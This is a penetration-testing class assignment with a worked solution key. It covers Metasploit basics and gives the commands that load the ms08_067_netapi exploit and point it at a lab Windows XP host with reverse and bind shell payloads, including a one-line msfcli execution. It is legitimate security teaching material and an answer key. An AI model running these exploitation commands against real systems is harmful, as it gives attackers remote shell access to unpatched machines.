03_Class Assignment Metasploit — soln

Assignment: Metasploit & Msfcli Hands-on

Question 1: Metasploit Basics

Explain the difference between a bind shell and a reverse shell in Metasploit. Provide an example of when you would use each.

Question 2: Searching for Exploits

Use Metasploit to search for vulnerabilities related to Ubuntu. Write the command you used and list any two exploits you found.

Question 3: Exploit Module Configuration

You have identified ms08_067_netapi as an exploit for a Windows XP target. Write the Metasploit commands to:

1. Use the exploit
2. Show the available options
3. Set the target IP to 192.168.1.100
4. Set the payload to windows/shell_reverse_tcp

Question 4: Msfcli Execution

Using Msfcli, write a single command to exploit a Windows XP machine at 192.168.1.100 using ms08_067_netapi with a bind shell payload.

Question 5: Understanding Exploit Execution

After executing an exploit in Metasploit, explain what happens step by step when a reverse shell is used. Include:

- What Metasploit does when you run exploit
- How the target machine responds
- How the attacker gains access

Solutions :

Assignment 03:-

Question #1

Metasploit Basics: Explain the difference between a bind shell and a reverse shell in Metasploit. Provide an example of when you would use each.

Answer #1

Metasploit Basics: Bind Shell vs. Reverse Shell

Feature	*Bind Shell*	*Reverse Shell*
Connection	Attacker connects to the target	Target connects to the attacker
Listening	*Target listens on a port*	*Attacker listens on a port*
Firewall/NAT	Target must allow incoming connections	Target must allow outgoing connections
Use Case	*Target on same local network without firewall blocking incoming ports*	*Target behind firewall/NAT, outbound connections allowed*

Explanation:

- **Bind Shell:**
  The target machine opens and listens on a port; the attacker connects to it to gain shell access. Used when the attacker can directly reach the target.
- **Reverse Shell:**
  The target machine initiates a connection back to the attacker’s listening machine. Useful when the target is behind a firewall or NAT that blocks incoming connections.

Question #2

Searching for Exploits: Use Metasploit to search for vulnerabilities related to Ubuntu. Write the command you used and list any two exploits you found.

Answer #2

Command:

```
msf6 > search type:exploit platform:linux os:ubuntu
```

Explanation:

- `search` : Search Metasploit modules.
- `type:exploit` : Filters for exploit modules only.
- `platform:linux` : Limits results to Linux platform.
- `os:ubuntu` : Further narrows to Ubuntu OS.

Example Exploits Found:

- `exploit/linux/http/struts2_dmi_exec` - Apache Struts 2 vulnerability on Linux.
- `exploit/linux/local/cve_2021_3156_sudo` - Local privilege escalation in sudo.

Question #3

Exploit Module Configuration: You have identified ms08_067_netapi as an exploit for a Windows XP target. Write the Metasploit commands to:

- **Use the exploit**
- **Show the available options**
- **Set the target IP to 192.168.1.100**
- **Set the payload to windows/shell reverse tcp**

Answer #3

Commands:

```
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > show options
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.100
msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
```

Explanation:

- `use` : Loads the exploit module.
- `show options` : Displays configurable parameters.
- `set RHOST` : Sets the target IP.
- `set PAYLOAD` : Specifies the payload to use (reverse TCP shell).

Question #4

Msfcli Execution: Using Msfcli, write a single command to exploit a Windows XP machine at 192.168.1.100 using ms08 067 netapi with a bind shell payload.

Answer #4

Command:

```
msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.1.100 PAYLOAD=windows/shell/bind_tcp E
```

Explanation:

- `msfcli` : Metasploit command-line interface.
- `RHOST` : Target IP.
- `PAYLOAD` : Bind shell payload.
- `E` : Execute the exploit.

Question #5

Understanding Exploit Execution After executing an exploit in Metasploit, explain what happens step by step when a reverse shell is used.

Include:

- What Metasploit does when you run exploit
- How the target machine responds
- How the attacker gains access

Answer #5

What Metasploit Does When You Run Exploit:

1. Crafts a specially crafted exploit targeting the vulnerability.
2. Sends the exploit payload to the target machine.
3. Delivers the reverse shell payload.
4. Sets up a listener on the attacker machine (LHOST and LPORT).

How the Target Machine Responds:

1. Vulnerability is triggered if present.
2. Payload executes on the target.
3. Target initiates a TCP connection back to the attacker.

How the Attacker Gains Access:

1. Attacker’s listener receives the incoming connection.
2. A command shell session is established.
3. Attacker can execute commands remotely on the target.